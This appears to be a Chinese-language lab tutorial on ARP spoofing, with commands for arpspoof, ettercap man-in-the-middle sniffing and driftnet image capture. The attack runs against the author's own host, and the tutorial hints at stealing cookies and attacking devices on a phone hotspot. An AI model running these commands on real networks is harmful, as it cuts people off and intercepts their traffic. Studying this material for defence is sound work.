0x01[ARP概念]

  • 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址(MAC)的一个TCP/IP协议
  • 主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址
  • 收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源

0x02[攻击原理]

  • 地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存
  • 由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗

e.png

0x03[攻击过程]

  • 先查看自己的IP地址以获得内网IP网络号与网关

Image.png

  • 配置虚拟机的虚拟网络编辑器,使虚拟机使用主机的网卡

Image.png
Image.png
Image.png

  • 修改虚拟机适配器为桥接模式,以达到与主机在同一网段下方便使用工具

Image.png
Image.png

  • 启动kali,可以发现虚拟机已经与主机处于同一网段下了

Image.png

  • 利用fping命令查看该网段下其他存活主机IP
fping -asg 192.168.43.0/24
//-a: 显示可ping通的目标
//-s: 打印最后的统计数据
//-g:通过指定起始地址与终止地址产生目标列表
  • fping命令给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping

Image.png

  • 可以看出192.168.43.1为网关地址;192.168.43.58为虚拟机地址[发起攻击者];192.168.43.239为主机地址[攻击测试对象]

[攻击手段0x01]

  • kali安装arpspoof工具,建议先换源再安装
leafpad /etc/apt/sources.list
apt-get install -y dsniff ssldump
  • 确认受害端网络无异常

Image.png

  • 执行命令
arpspoof -i eth0 -t <受害端IP> <网关IP>

Image.png

  • 查看受害端攻击效果

Image.png

  • 成功添堵,停止攻击,主机网络恢复正常

Image.png
Image.png

[攻击手段0x02]

  • 利用kali自带的ettercap工具进行数据报的截获分析

Image.png
Image.png
Image.png

  • 将受害端IP加入Target1;网关加入Target2

Image.png

  • 确认受害端网络无异常

Image.png

  • 开始执行攻击

Image.png
Image.png

  • 查看受害端攻击效果,ping显示网络未受阻

Image.png

  • 实际网络访问明显减缓

Image.png

  • 但这种攻击主要目的不是减缓网络,而是对受害端流量包进行抓取和分析

Image.png
Image.png
Image.png

  • 某个TCP部分包

Image.png

  • 后续思路可结合过滤器获取cookie等操作
  • 停止攻击

Image.png

[攻击手段0x03]

  • 对受害端的图片进行抓取
  • 安装driftnet Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序
apt-get install driftnet
  • 开启中间人监听
ettercap -Tq -i eth0 -M arp:remote /<目标IP>// /<网关IP>//
  • 准备好图片截取后的保存地址
  • 这里是 /root/test 记得赋权
chmod 777 /root/test

Image.png

  • 执行图片抓取
driftnet -i eth0 -a -d ~/test/
  • 受害端浏览页面,图片被抓取并保存到本地

Image.png
Image.png

  • 对网速要求挺高,几乎会把网络堵住

0x04[相关链接]

实践注意事项

  • ARP攻击很容易被各种安全软件拦截,基本也就自己玩玩,或者攻击手机热点下的其他设备
  • 打不通的时候可以看看杀软日志是不是被拦截了